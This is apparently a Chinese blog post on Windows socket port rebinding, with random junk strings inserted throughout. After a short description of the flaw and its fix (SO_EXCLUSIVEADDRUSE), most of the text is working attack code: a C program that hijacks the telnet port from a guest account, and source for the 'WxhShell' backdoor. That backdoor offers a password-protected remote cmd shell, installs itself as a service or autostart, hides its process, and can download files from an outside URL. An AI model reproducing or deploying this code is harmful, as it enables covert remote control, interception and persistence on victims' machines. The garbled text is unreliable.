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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3%gn:.9N s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); />^ sGB ejs_ ? saddr.sin_family = AF_INET; a`/\0~ "m2g"xa\7 saddr.sin_addr.s_addr = htonl(INADDR_ANY); *?Hc8y-dG, xZbiEDU bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Lg6;FbY? Cn6<I {`\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 PydU.,^7 >JOEp0J 这意味着什么?意味着可以进行如下的攻击: +%E)]*Ym \N3A2L)l 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T,G38 Lt'FA 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (rTn6[* :{7gZ+*
3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 o'Rr2,lVi Rda~Drz 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 C?OqS+ Tj(DdR#w 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Go;fQ yG T( LlNq 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 PCqE9B)l opaRk.p 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 r2b_$ ]7|Zs]6 #include _|^cudRv #include *3R3C+
L #include Q}zd!* #include BQo$c~ DWORD WINAPI ClientThread(LPVOID lpParam); "A9qC*6[ int main() TmEJ!)* { lEXER^6 WORD wVersionRequested; 6B8gMO DWORD ret; vRI0fDu WSADATA wsaData; @sPuc. BOOL val;
b
fj]Q SOCKADDR_IN saddr; zm~sq_=^ SOCKADDR_IN scaddr; F-TDS<[S? int err; 8~!9bg6C SOCKET s; k=&UV!J SOCKET sc; :iEIo7B int caddsize; 3'jH,17lWV HANDLE mt; E7`Q=4@e DWORD tid; ,^n5UA`PK wVersionRequested = MAKEWORD( 2, 2 );
Neb") err = WSAStartup( wVersionRequested, &wsaData ); eeM$c`Y< if ( err != 0 ) { 8M6wc394 printf("error!WSAStartup failed!\n"); ]1)#Y return -1; . UaLP } zd0[f3~ saddr.sin_family = AF_INET; hd%O\D? 1e)5D& njS //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o,yZ1" *|*6q/ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qe_qag9 saddr.sin_port = htons(23); \Y$@$) if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) hi0-Sw { \R|qXB $ printf("error!socket failed!\n"); q/eod return -1; tO~o-R } g^)8a;/c val = TRUE; oR@1/lV //SO_REUSEADDR选项就是可以实现端口重绑定的 u"5
hlccH if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aB ^`3J { LUKt!I0l printf("error!setsockopt failed!\n"); 4S\S t< return -1; XY)I ~6$Y } IfzW%UL //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Sau?Y //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [J\! 2\Oo //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g!I0UAm OhiY < if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *wl&Zzx { !.cno& ret=GetLastError(); &]S\GnqlU] printf("error!bind failed!\n"); "NvB@>S return -1; I~T~!^}U } DTN)#GCtF listen(s,2); f\X7h6k8{ while(1) ]&_z@Z.i { e3=-7FU caddsize = sizeof(scaddr); P;V5f8r? //接受连接请求 r}M2t$nv sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9?I?;l{ if(sc!=INVALID_SOCKET)
k`=&m" { bZCNW$C3l mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ZRn!z`.0 if(mt==NULL) PL*1-t?# { ?F^O7\rw printf("Thread Creat Failed!\n"); Lt2<3DB break; 3FsX3K,_X } F-GrQd:O= } %'&_Po\ CloseHandle(mt); Gq =i-I } Noi+mL closesocket(s); owe6ge7m
WSACleanup(); Q60'5Wt return 0; 60X))MyN } ;R*tT%Z, DWORD WINAPI ClientThread(LPVOID lpParam) 4YyVh.x { K-Fro~U SOCKET ss = (SOCKET)lpParam; tE"IE$$1 SOCKET sc; k. ?@qCs[ unsigned char buf[4096]; Co^GsUJ SOCKADDR_IN saddr; @WnW
@'*F long num; KvNw'3Ua DWORD val; V!zU4!@qP DWORD ret; +P|Z1a -jB //如果是隐藏端口应用的话,可以在此处加一些判断 h"4i/L3aAh //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 UhbGU G saddr.sin_family = AF_INET; ^-g-]?q saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 8^5@J)R8 saddr.sin_port = htons(23); 5uO.@0 if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !BEl6h { ;hCUy=m. printf("error!socket failed!\n"); 7"p%c`*; return -1; W3y9>]{x^ } 3)_(t.$D val = 100; w3K>IDWI7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `FRdo { ]?UK98uS\A ret = GetLastError(); P|rreSv* return -1; Xr]<v%,C } p#>d1R1& if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U
IHe^ ?R { 2'7)D}p ret = GetLastError(); FV5~sy return -1; _g%h:G&^ } [f#7~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *9|*21 { WNo< 0|X printf("error!socket connect failed!\n"); 3GM9ZPeN: closesocket(sc); f1
Zj:3e closesocket(ss); u$nYddak return -1; l]F)]>AE } :z a:gs0 while(1) r9whW;"q { LHHDD\X //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ySNXjH
Q= //如果是嗅探内容的话,可以再此处进行内容分析和记录 K%(DRkj) //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LseS8F/q num = recv(ss,buf,4096,0); }<mK79m if(num>0) C0[Z>$ send(sc,buf,num,0); r"=6s/q7 else if(num==0) ]=jpqxlx break; -"/l)1ox, num = recv(sc,buf,4096,0); J:G~9~V^ if(num>0) M:cW/&ZJ send(ss,buf,num,0); eWU@@$9 else if(num==0) _aK4[*jnqh break; 0)E`6s#M } }o2e&.$4d closesocket(ss); ]_y0wLq closesocket(sc); V^qkHm e return 0 ; *S] K@g } ??h4qJ 8mv}-; 92=huV ========================================================== I9g!#lbl Jpr`E&%I6 下边附上一个代码,,WXhSHELL y4`uU1= Is#w=s}2 ========================================================== 7f#r&~= &]P1IQ #include "stdafx.h" jZP~!q 48"=,IrM #include <stdio.h> YLFM3IaP #include <string.h> :Kx6|83 #include <windows.h> wH0Ks5 #include <winsock2.h> [zc8f #include <winsvc.h> uM74X^U #include <urlmon.h> i YBp"+#2 'o% .Qx #pragma comment (lib, "Ws2_32.lib") t7qzAr #pragma comment (lib, "urlmon.lib") xI,7ld~ 6[SE*/E@L #define MAX_USER 100 // 最大客户端连接数 dBM> ;S;v #define BUF_SOCK 200 // sock buffer $C`YVv%?0 #define KEY_BUFF 255 // 输入 buffer Lk:Sju oC >l|?h, #define REBOOT 0 // 重启 mYw9lM #define SHUTDOWN 1 // 关机 #SIIhpjA( j
hr pS #define DEF_PORT 5000 // 监听端口 +Qo]'xKr Mxk0XFA #define REG_LEN 16 // 注册表键长度 'c&S%Ra[3G #define SVC_LEN 80 // NT服务名长度
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Vj // 从dll定义API 9w08)2$Na typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z2DjYTm[~ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Az4a|. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Df_*W"(v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a+#Aitd 3_cZaru // wxhshell配置信息 U1~6 o"1H struct WSCFG { CZ.XEMN\ int ws_port; // 监听端口 ^7$V>| char ws_passstr[REG_LEN]; // 口令 v''F\V ) int ws_autoins; // 安装标记, 1=yes 0=no ("5Eed char ws_regname[REG_LEN]; // 注册表键名 #5/.n.X" char ws_svcname[REG_LEN]; // 服务名 @l^BW*BCo char ws_svcdisp[SVC_LEN]; // 服务显示名 [lbe_G; char ws_svcdesc[SVC_LEN]; // 服务描述信息 0Er;l| char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ``9`Xq int ws_downexe; // 下载执行标记, 1=yes 0=no })^%>yLfc| char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" sV5S>*A[ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dPO|x+N, }"o,j>IP }; P
K9BowlW DP<[Uz& // default Wxhshell configuration 'awZ-$# struct WSCFG wscfg={DEF_PORT, 3,4m|Z2) "xuhuanlingzhe", ed6eC8@ 1, NP< {WL# "Wxhshell", |(6H)S]$ "Wxhshell", Wi3St`$ "WxhShell Service", >wJt# ZB "Wrsky Windows CmdShell Service", 3D*vNVI "Please Input Your Password: ", "? t@Y 1, qsTB)RdjP% " http://www.wrsky.com/wxhshell.exe", !w #x@6yq "Wxhshell.exe" _8eN^oc% }; NwB;9ZhZ U9:w ^t[Pp // 消息定义模块 w=MiJr#3^ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #k*P/I~ char *msg_ws_prompt="\n\r? for help\n\r#>"; ;;;{<GEQ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; /ig'p53jL char *msg_ws_ext="\n\rExit."; lIDGL05f' char *msg_ws_end="\n\rQuit."; QYj 8c]8f char *msg_ws_boot="\n\rReboot..."; 1`z^Xk8vt char *msg_ws_poff="\n\rShutdown..."; C^W9=OH char *msg_ws_down="\n\rSave to "; =n73bm 8R;A5o, char *msg_ws_err="\n\rErr!"; e+ckn char *msg_ws_ok="\n\rOK!"; f~{@(g&Gl nL]-]n; char ExeFile[MAX_PATH]; vbT,!
cEm int nUser = 0; ]pi8%.d HANDLE handles[MAX_USER]; %@9pn1, int OsIsNt; :2_8.+: IS9}@5`' SERVICE_STATUS serviceStatus; +o7Np|Ou SERVICE_STATUS_HANDLE hServiceStatusHandle; ;[}<xw3): Zz@0Oj!` // 函数声明 Rz_fNlA int Install(void); `3KXWN`.s int Uninstall(void); n fU\l< int DownloadFile(char *sURL, SOCKET wsh); RCvf@[y4 int Boot(int flag); se:lKZZ] void HideProc(void); pf'-(W+ int GetOsVer(void); f3u^:6U~ int Wxhshell(SOCKET wsl); bw\a\/Dw void TalkWithClient(void *cs); 4LfD{-_uW int CmdShell(SOCKET sock); @C34^\aH+ int StartFromService(void); X\dPQwasM int StartWxhshell(LPSTR lpCmdLine); /v^1/i 6)B6c. 5o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a?]"|tQ' VOID WINAPI NTServiceHandler( DWORD fdwControl ); P$=BmBq18` ?k7z5ow // 数据结构和表定义 '@epiF& SERVICE_TABLE_ENTRY DispatchTable[] = (g8<"<
N? { <E`Ygac {wscfg.ws_svcname, NTServiceMain}, viP.G/(\] {NULL, NULL} nM?mdb }; _ 3l ci $aFCe}3b< // 自我安装 @},25"x) int Install(void) +U:U/c5Z^ { 'p{N5eM char svExeFile[MAX_PATH]; $%3"@$ HKEY key; 4%(\y"T strcpy(svExeFile,ExeFile); y]veqa N5SePA\ ,? // 如果是win9x系统,修改注册表设为自启动 A=z+@b6 if(!OsIsNt) { /7)l 22< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \:To>A32 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ])sIQ{P RegCloseKey(key); _8f?
H#& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8?>
# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z~S(OM@olJ RegCloseKey(key); bAsoIra return 0; b3Uw"{p } m4<5jC`-M } '>wr_
f } 1j9R^ else { zree}VqD;5 X &z|im'd // 如果是NT以上系统,安装为系统服务 yFYFFv\? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ODbEL/ if (schSCManager!=0) {c;][>l { ?OYK'p.
SC_HANDLE schService = CreateService ?51Y&gOEZ ( =nQgS.D schSCManager, 'nrXRDb wscfg.ws_svcname, gB;5&;T: wscfg.ws_svcdisp, #%;QcDXRe SERVICE_ALL_ACCESS, 5 +Ei!E89 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /3VSO"kcZ SERVICE_AUTO_START, wc%Wy|d SERVICE_ERROR_NORMAL, EU@
BNja svExeFile, .;1tu+S NULL, v/fo`]zP NULL, hLqRF4>L NULL, Mj
guH5Uy NULL, zmw <y2` NULL bp>-{Nv ); Xiy9Oeq2uh if (schService!=0) 6 cF~8 { #GJ{@C3H8Q CloseServiceHandle(schService); z^ai * CloseServiceHandle(schSCManager); b6mSPH@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >o]!-46 strcat(svExeFile,wscfg.ws_svcname); R 2{ kS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 95wi~^^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ji|+E`Nii RegCloseKey(key); _6tir'z return 0; o4%H/|Oq. } a'[Ah2}3r< } nE2w? CloseServiceHandle(schSCManager); ,R-T( <r } o#D;H[' A } _+OnH!G0 OH(w3:;[8 return 1; DFk0"+Ky } g+X .8>= nmH1Wg*aW // 自我卸载 t-;zgW5mwF int Uninstall(void) uPmK:9]3R { \W,,@- HKEY key; x%hV5KW /:+f5\"-b if(!OsIsNt) { K+s@.D9J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \Nvu[P RegDeleteValue(key,wscfg.ws_regname); ]FQO@y RegCloseKey(key); !Lu noC>B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,cesQ
ou RegDeleteValue(key,wscfg.ws_regname); O<RLw)nzg RegCloseKey(key); } xy>uT return 0; .Wr%l$~ } mSg{0_: } '[Ue0r<jn } dr[sSBTY" else { Un~8N P<tHqN!q SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); MR?5p8S#g if (schSCManager!=0) I<``d Ne9Q { ]UMt SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =(3Yj[>st if (schService!=0) Sb/`a~q^ { k6}M7&nY if(DeleteService(schService)!=0) { vGX}zzto CloseServiceHandle(schService); &P0jRT3e#Y CloseServiceHandle(schSCManager); ev{;}2~V return 0; _ddOsg|U } ^D%hKIT CloseServiceHandle(schService); |*T`3@R;3 } qDVt CloseServiceHandle(schSCManager); OxC8xB;` } 1Mtm?3Pt } 1^HmM"DD 4ZX6=-u^ return 1; QMz6syn4u } t|5T,YFG J-k/#A4o // 从指定url下载文件 8E+]yB" int DownloadFile(char *sURL, SOCKET wsh) ?=dp]E{ { )&") J}@ HRESULT hr; `q$a
p$? char seps[]= "/"; 0DsW1 char *token; QF74' char *file; 7;i [ char myURL[MAX_PATH]; C]bre^q char myFILE[MAX_PATH]; mH,L,3R;R kR
!O-@GJ] strcpy(myURL,sURL); j(>~:9I` token=strtok(myURL,seps); 1zP)~p3a while(token!=NULL) fN!lXPgM { I;g>r8N-Bu file=token; h6(\ tRd!\ token=strtok(NULL,seps); i>aIuQ`pe } y(fJ{k us7t>EMmB GetCurrentDirectory(MAX_PATH,myFILE); /n3Qcht strcat(myFILE, "\\"); ^D5+S`V strcat(myFILE, file); q(9S4F send(wsh,myFILE,strlen(myFILE),0); ?heg_~P send(wsh,"...",3,0); O,[9E hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4c'F.0^ if(hr==S_OK) hR+\,P#G[ return 0; U ID0|+%Y else 7@NV|Idtd return 1; &~K4I l8~s#:v6X } :?P>))vT% N!~5S` // 系统电源模块 M->BV9 int Boot(int flag) f6])M) { ?e#bq] HANDLE hToken; \n>7T*iM& TOKEN_PRIVILEGES tkp; Z'!i"Jzq|{ tu:W1? if(OsIsNt) { oiTSpd- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); yBl9 a-2A LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); wec_=EqK0 tkp.PrivilegeCount = 1; cfC}"As tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %}}?Y`/W) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Kn*LwWne if(flag==REBOOT) { {%+UQ!]d8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E;rS"'D: return 0; qx1+' } <
UD90} else { {WvYb, if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9U4 D$M return 0; g%_3 } >K!$@]2F } `>Ms7G9S~e else { -xVZm8y if(flag==REBOOT) { tNG[|Bi# if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) BIXbdo5F return 0; 2(2UAB"u } TZ#^AV=ae else { EYRg,U&' if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~5>k_\G8 return 0; D4O^5?F)| } )8`i%2i= } -)Hc^'. {_R{gpj' return 1; 64qqJmG3 } q&2L@l3A hplx s# // win9x进程隐藏模块 sQmJ3 (:HO void HideProc(void) <<PXh&wu0 { S1o[)q
6>gm!6` HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3Dx@rW\ if ( hKernel != NULL ) -
VdCj%r> { 9I [k3 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rV
fZ_\| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {8"Uxj_6V FreeLibrary(hKernel); wlFK#iK } &N*l ?7( c"diNbm[ return; ! NJGW } 3Mq%3jX 'iU+mRLp // 获取操作系统版本 -_M': int GetOsVer(void) 73l,PJ { >VppM ` OSVERSIONINFO winfo; +E']&v$ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7l4}b^>/` GetVersionEx(&winfo); `$MO;Fv,G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jN!VrRA return 1; XZ<8M}Lg else E
BSjU8 return 0; nG%<n } Z>[n~{-,p 2O}X-/H // 客户端句柄模块 Rh%A^j@ int Wxhshell(SOCKET wsl) L]q%;u]8! { u%5 ,U- SOCKET wsh; hh[x(O)TC~ struct sockaddr_in client; `{NbMc\
] DWORD myID; LbuhKL}VN KB{IWu while(nUser<MAX_USER)
Wf~PP; { VAp 1{ int nSize=sizeof(client); ,n`S
, wsh=accept(wsl,(struct sockaddr *)&client,&nSize); uR.`8s| if(wsh==INVALID_SOCKET) return 1; 4|UtE<<b X o[GD`t handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -EE}HUP) if(handles[nUser]==0) P('bnDU closesocket(wsh); vDyGxU!#\ else fg/hUUl nUser++; {I/t3.R` } "jf_xZ$H- WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); to?={@$] 3bT?4 return 0; V`rxjv}! } e?N3&ezp Z4g<Ys* // 关闭 socket xwj{4fzpk{ void CloseIt(SOCKET wsh)
`)>}b 3 { $h[Q}uW closesocket(wsh); lQv(5hIm nUser--; _p?s[r* ExitThread(0); j
Y(|z*| } ]MC5 uKn [#fz[U // 客户端请求句柄 vGOO"r(xL void TalkWithClient(void *cs) DT_%Rz~< { gX|\O']6 sq@c?!' SOCKET wsh=(SOCKET)cs; `/9I` <y char pwd[SVC_LEN]; u4'B char cmd[KEY_BUFF]; Tfx-h)oP3 char chr[1]; Ya-GDB;L int i,j; fu?u~QZ8 |pBvy1e4) while (nUser < MAX_USER) { YxGqQO36 .*Bd'\:F/q if(wscfg.ws_passstr) { DQ&\k'"\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pktnX-Slt //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ge1U1o //ZeroMemory(pwd,KEY_BUFF); mex@~VK i=0; ?O"zp65d( while(i<SVC_LEN) { g`~;"%u7cn "1`w>(= // 设置超时 E(&zH;?_ fd_set FdRead; "
t?44[ struct timeval TimeOut; Gyrc~m[$ FD_ZERO(&FdRead); h,6> ^A FD_SET(wsh,&FdRead); F"QJ)F TimeOut.tv_sec=8; JSx[V<7m TimeOut.tv_usec=0; 93ggCOaYA int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;9q$eK%d if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); $.31<@T7 y'n<oSB} if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #4!f/dWJp pwd =chr[0]; [^XD@ if(chr[0]==0xd || chr[0]==0xa) { 5DO}&%.xt pwd=0; )@] W= break; %Aa_Bumf*: } c._!dqR i++; eu?P6>urA } kWs:7jiiu +n)bWB% // 如果是非法用户,关闭 socket B*P;*re if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #WGyQu } C%j@s| nFe send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); j^eMi send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); j&b<YPZ JvaHH!>d/ while(1) { .'4@Yp{= 9;rZ )QD ZeroMemory(cmd,KEY_BUFF); Bo1 t}#7 ABL5T-*] // 自动支持客户端 telnet标准 &)|f|\yh" j=0; CK_\K,xVT while(j<KEY_BUFF) { \`%#SmQF if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '#~Sb8
cmd[j]=chr[0]; 8%xiHPVg if(chr[0]==0xa || chr[0]==0xd) { =/ \l=* cmd[j]=0; QUF1_Sa break; Zm(}~C29 } 23opaX5V= j++; t+j dV } /b6j<]H &ha<pj~ // 下载文件 E/D@;Ym18 if(strstr(cmd,"http://")) { pBn;:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); `_"?$ v2F if(DownloadFile(cmd,wsh)) Jq+@%#G send(wsh,msg_ws_err,strlen(msg_ws_err),0); e`)zR'As else e'=#G$S?g send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @v.?z2h } akwS;|SZ else { J`wx72/-ZW =H^~"16 switch(cmd[0]) { s&DAO r!i rKl // 帮助 y@Td]6|f case '?': { 9A}y^=!` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %*Yb
J_j7 break; +Lo,* } 9FF // 安装 '2{60t_A case 'i': { QR$m i1Vv\ if(Install()) j'UWgwB send(wsh,msg_ws_err,strlen(msg_ws_err),0); *4l6+#W else pz.fZV send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,rhNXx break; <V#]3$(S } 3:b5#c?R- // 卸载 R5<:3tk=X case 'r': { p,\(j if(Uninstall()) 5g 2:o^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); jW}hLjlN else }jg,[jw_"X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GEki34
n0 break; Ul:M=8nE% } 0EC/l
OS // 显示 wxhshell 所在路径 a%wa3N=v case 'p': { 5"Y:^_8 char svExeFile[MAX_PATH]; o7yvXrpG(U strcpy(svExeFile,"\n\r"); Wix4se1Ac strcat(svExeFile,ExeFile); ")W5`9 send(wsh,svExeFile,strlen(svExeFile),0); #?bOAWAwLh break; r<"k
/ } .y#>mXm>
// 重启 {.r9l case 'b': { '8|joj>G= send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CW~c<," if(Boot(REBOOT)) fc%C!^7 send(wsh,msg_ws_err,strlen(msg_ws_err),0); t>"|~T$9 else { s18A closesocket(wsh); 1xsB@D ExitThread(0); =%+xNOdN7? } &"X1w $ break; ~|`jIqU } uHyc7^X> // 关机 g=S|lVQm case 'd': { CrX1qyR send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ABhQ7
x| if(Boot(SHUTDOWN)) - 4S4I send(wsh,msg_ws_err,strlen(msg_ws_err),0); L>,xG.oG else { 0Y*Ag,S closesocket(wsh); "D
ivsq^ ExitThread(0); <rNz&;m} } ,uS}wJAX break; oh >0}Gc8 } <J!?eH9f // 获取shell . Kk'N case 's': { .WW|v CmdShell(wsh); v79\(BX closesocket(wsh); s%)>O{{) ExitThread(0); 4zf( break; n*N`].r#{= } X1%_a.=VF // 退出 eo4v[V& case 'x': { p 4l B# send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N1'$;9 c CloseIt(wsh); '6Yx03t break; us^J!
s7 } c nV2}U/\ // 离开 '_o(I case 'q': { <#7j~ < send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1zY"Uxp closesocket(wsh); q]m$%> WSACleanup(); Iyt.`z exit(1); !Bb^M3iA break; ngH_p> } S{qsq\X } r1|;V~a$~ } bcFZ ~B h7>`:~ // 提示信息 ~01Fp;L/ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mvGj
!' } 7 gT^ZL } &fgfCZz' p}-B>v return; Q E*`#r#e } i
M!=/ MH_3nN // shell模块句柄 uJL[m(G int CmdShell(SOCKET sock) Z~DR,: { UN`O*(k[ STARTUPINFO si; rs:a^W5t ZeroMemory(&si,sizeof(si)); Blv@u ? si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -Sj|Y} si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; x=VLRh%Gvl PROCESS_INFORMATION ProcessInfo; R8fB
8 ) char cmdline[]="cmd"; + Scw;gO CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R(DlJ return 0; Z=>#|pW,) } [xg&`x9,. IHNl`\Le // 自身启动模式 el^WBC3 int StartFromService(void) :%"$8o*0W { psE&Rx3) typedef struct !"N-To-c { UWq[K&vQZ
DWORD ExitStatus; T&kr IZw DWORD PebBaseAddress; ,{{Z) "qaH DWORD AffinityMask; C(5B/W6 DWORD BasePriority; 4$jb-Aw ULONG UniqueProcessId; "9yQDS: ULONG InheritedFromUniqueProcessId; hIMD2 } PROCESS_BASIC_INFORMATION; M\dZxhQ-l >^
M=/+<c PROCNTQSIP NtQueryInformationProcess; f hr
QJ ;TG<$4N static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yX|0R
